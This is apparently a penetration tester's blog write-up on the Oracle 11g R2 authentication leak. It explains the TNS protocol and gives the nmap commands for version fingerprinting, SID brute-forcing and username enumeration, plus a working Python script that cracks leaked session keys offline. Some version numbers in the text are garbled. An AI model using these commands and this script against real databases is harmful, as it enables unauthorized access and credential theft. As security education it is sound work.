During an internal penetration test we discovered an Oracle database of version 11g Release 2 in the client’s network. This outdated version is vulnerable to an information leak during the authentication procedure. The flaw allows an attacker to steal the encrypted session of an account that’s signed with the client’s credentials and is being used to authenticate them. An attacker that attempts to connect with a potential client’s username can steal the encrypted session and perform an offline dictionary attack in order to break the encryption.This is known as a “Stealth Password Brute-force” attack.
What makes this attack interesting is, like every information leak vulnerability, it’s the result of a fundamental flaw in the logical thinking of the developer. Plus, we always love cracking passwords. This made us look into it and understand how this works in the background below the high-level description given by Hacktricks, the initial place where we found the exploit for this type of attack.
Oracle Database and Communication Protocol
First we have to understand how the Oracle DB is structured.
The architecture of the Oracle DB consists of:
- the client
- the database server
The database server contains:
- the TNS listener
- the database instance and
- the database’s files and the actual data
The TNS listener is the component responsible for communicating with the crucial parts of the database server, i.e. the database instance and the database itself. It also uses the TNS protocol to communicate with the client and receive commands and requests such as authenticating, fingerprinting, SID discovery etc. (more on this later!).
The TNS protocol is a proprietary protocol owned by Oracle. It’s build on top of TCP/IP and other technologies such as SDP, IPX/SPX, IPC etc. In the context of Oracle databases, TNS is used over the TCP/IP protocol. A fair bit of the protocol has been reversed engineered, giving us more insight of it’s function.
As explained, a TNS packet is consisted of a header and the payload:
0 8 16 31 +--------------+--------------+ | Packet Length| Packet Chksm | +------+-------+--------------+ 8 byte header | Type | Rsrvd | Header Chksm | +------+-------+--------------+ | P A Y L O A D | +-----------------------------+
For the purpose of our article, the important part of a packet is its type and, of course, the payload.
The packet type declares the purpose of the packet, i.e. whether the packet’s purpose is to transfer data, to refuse or accept a connection, to demand a resend of the last packet received etc.
The packet types are:
Packet type 6 is indicating the transfer of data, which is contained in the payload section. Packets of type 6 have a data flag, that indicates the type of data packet sent. The structure of the data flag is as follows:
Data Flag: 0x0000 .... .... .... ...x = Send Token .... .... .... ..x. = Request Confirmation .... .... .... .x.. = Confirmation .... .... .... x... = Reserved .... .... ..x. .... = More Data to Come .... .... .x.. .... = End of File .... .... x... .... = Do Immediate Confirmation .... ...x .... .... = Request To Send .... ..x. .... .... = Send NT Trailer
The data flag’s default value for data transfer is 0x0000. The flag 0x0001 indicates sending a token, 0x0002 a request confirmation etc. An important flag is 0x0040 which indicates the end of file, i.e. end of data transferring.
Authentication Protocol and Information Leak
As already mentioned, the authentication procedure uses the TNS protocol for communication between the client and the server. The authentication is being carried out in the following steps:
- The client sends the username after having established a connection with the database through the TNS listener
- The server creates a session for the client, encrypts it with AES-192 by using the SHA-1 hash of the username’s password and the salt as the key. The pair of the encrypted session and the salt, namely AUTH_SESSKEY and AUTH_VFR_DATA, are being sent to the client.
- Given that the client is legitimate and has knowledge over the password, they decrypt the session with the hash of the password and the salt as the key. With this session, the client creates a public key, which is being used for the communication.
The problem lies to the way the TNS protocol handles the authentication. The session ID that the server sends the client is 48 bytes long. Out of those 48 bytes, the the first 40 are random bytes and the last 8 are 0x08 bytes. Having the last 8 0x08 bytes as an identifier of a valid AUTH_SESSKEY an attacker can perform an offline dictionary attack against it, which will be much faster than launching a dictionary attack against the login process of the database.
Prerequisites of this attack are:
- A valid username of the database
- The SID of the target database
SID stands for System ID and it is the identifier of a database, so basically its name. The path we used for extracting the encrypted sessions from our client’s database was:
- Fingerprint the version of the Oracle database and determine whether it is vulnerable or not.
- Enumerate the available databases through SID bruteforcing.
- Attempt to extract users’ encrypted sessions from the found SIDs through username bruteforcing.
- Crack the obtained encrypted sessions offline through a PoC script
Thankfully, nmap has some very helpful scripts and wordlists to assist us in the first 3 steps of the attack path.
In version discovery (or fingerprinting) the client engages in a TNS conversation with the server, in which the client starts with a specific query and basically “asks” for the TNS version.
nmap -sV -p 1521 <TARGET>
- Client → Server:
- Server → Client:
- Server → Client:
TNSLSNR for 64-bit Windows: Version 220.127.116.11.0 - Production TNS for 64-bit Windows: Version 18.104.22.168.0 - Production Oracle Bequeath NT Protocol Adapter for 64-bit Windows: Version 22.214.171.124.0 - Production Windows NT Named Pipes NT Protocol Adapter for 64-bit Windows: Version 126.96.36.199.0 - Production Windows NT TCP/IP NT Protocol Adapter for 64-bit Windows: Version 188.8.131.52.0 - Production,,
- Server → Client:
[A data packet with the data flag 0x0040 End Of File, i.e. no more data are to be sent]
The server provides the client the version, which is version 184.108.40.206.0. This version is vulnerable to the the attack.
After determining that the target’s TNS version is vulnerable, we proceed with finding the SIDs of the existing databases. There are some default ones such as XE and ORCL but the custom ones should be more “juicy”, as it’s more probable to include custom accounts.
During the bruteforcing, the attacker loops over different SID names and attempts to connect to them: If the SID does not exist, the server returns a packet with ID 4, i.e. Refuse. If, however, the SID exists, the server returns a packet with ID 11, i.e. Resend.
nmap -p 1521 --script oracle-sid-brute.nse [--script-args=oraclesids=/path/to/sidfile] <TARGET>
- Client → Server: Attempting to connect to a database with the query
- Server → Client:
- If the SID does not exist:
- If the SID exists: sends a packet without a payload and with a packet ID 11, i.e. Resend
Encrypted Sessions Extraction
With a valid SID we can start attempting to authenticate against the database with possible usernames, either using the nmap wordlist or with our own one. As explained previously, we do not need to provide a password, as the authentication protocol will provide us the encrypted session signed with the hash of our user’s password and salt, which we can later crack offline.
nmap -p 1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=<FOUND SID> <TARGET>
- Client → Server: Try and connect to the database with SID XE with the query
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=IP)(PORT=1521)) (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=XE)(CID= (PROGRAM=sqlplus)(HOST=IP)(USER=nmap))))
- Server → Client: Sends a packet without a payload and with a packet ID 11, i.e. Resend
- Client → Server: Same as Step 1
- Server → Client: Sends a packet without a payload and with a packet ID 2, i.e. Accept
- Client → Server: The client sends a series of data packet requests to negotiate connection features such as Secure Network Services, Set Protocol, and Set Datatypes
- Server → Client: The server responds to these requests
- Client → Server: The client sends a data packet and requests to authenticate as the user HR with the query (decoded from HEX to ASCII):
HR AUTH_TERMINALpts/66AUTH_PROGRAM_NMsqlplus@nmap_6686 (TNS V1-V3)AUTH_MACHINEnmap_targetAUTH_PID9706AUTH_SID nmap_11925
- Server → Client:
- If the account doesn’t exist, the server responds with a data packet with seemingly random bytes of a smaller lentgh than 48 bytes instead of a valid encrypted session and the default value
00000000390900001a000000as the salt
- If the account exists, the server responds with a data packet including the encrypted session and the correct salt
Observing with Wireshark the last two steps of a successful attack:
At the end the nmap output will look like this:
There is a PoC script written in Python 2 for cracking those passwords. The script attempts to decrypt the provided string with the SHA-1 hash of the candidate password and the salt provided by the server. If the decrypted result ends with 8 0x08 bytes, then it's been successful in finding the password.
Since it is 2023, we rewrote the script in Python 3
import hashlib from Crypto.Cipher import AES import binascii def decrypt(session,salt,password): pass_hash = hashlib.sha1(password.encode() + salt) key = pass_hash.digest() + b'\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain session_hex = '' # AUTH_SESSKEY salt_hex = '' # AUTH_VFR_DATA passwords = ['test','password', 'oracle', 'demo'] for password in passwords: session_id = decrypt(binascii.unhexlify(session_hex),binascii.unhexlify(salt_hex),password) print('Decrypted session_id for password "%s" is %s' % (password,binascii.hexlify(session_id))) if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08': print('PASSWORD IS "%s"' % password) break
Cracking Oracle database passwords (or any passwords found in an internal assessement) does not only give the penetration tester access to the database the password was stolen from. Passwords are valuable findings, especially in internal penetration tests, as it is very probable to see password reuse in poorly secured environments. In our case, we found that the system administrator (SYS) account of the Oracle database shared the same password with the domain admin.
What's even more probable to see than password reuse is outdated products and unpatched software. The versions of Oracle databases vulnerable to this attack are releases back from 2007. Yet, we still see them around in 2023. Updating your products to the latest versions prevent such severe year-old vulnerabilities that attackers can use to compromise your network.